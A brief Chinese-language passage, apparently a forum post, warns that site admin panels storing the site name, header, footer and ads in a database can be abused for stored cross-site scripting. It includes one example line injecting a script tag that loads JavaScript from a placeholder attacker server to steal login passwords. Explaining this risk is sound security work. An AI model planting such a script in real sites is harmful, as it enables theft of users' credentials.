一些网站后台允许修改网站名称、页头、页尾和广告。这个有些是储存到数据库的。

如果对方在里面加 <script src="http://对方的服务器上保存的脚本" type="text/javascript"></script> ，如果登陆页面插入了他的js，那么之后登陆用户的密码他都能轻松拿到的。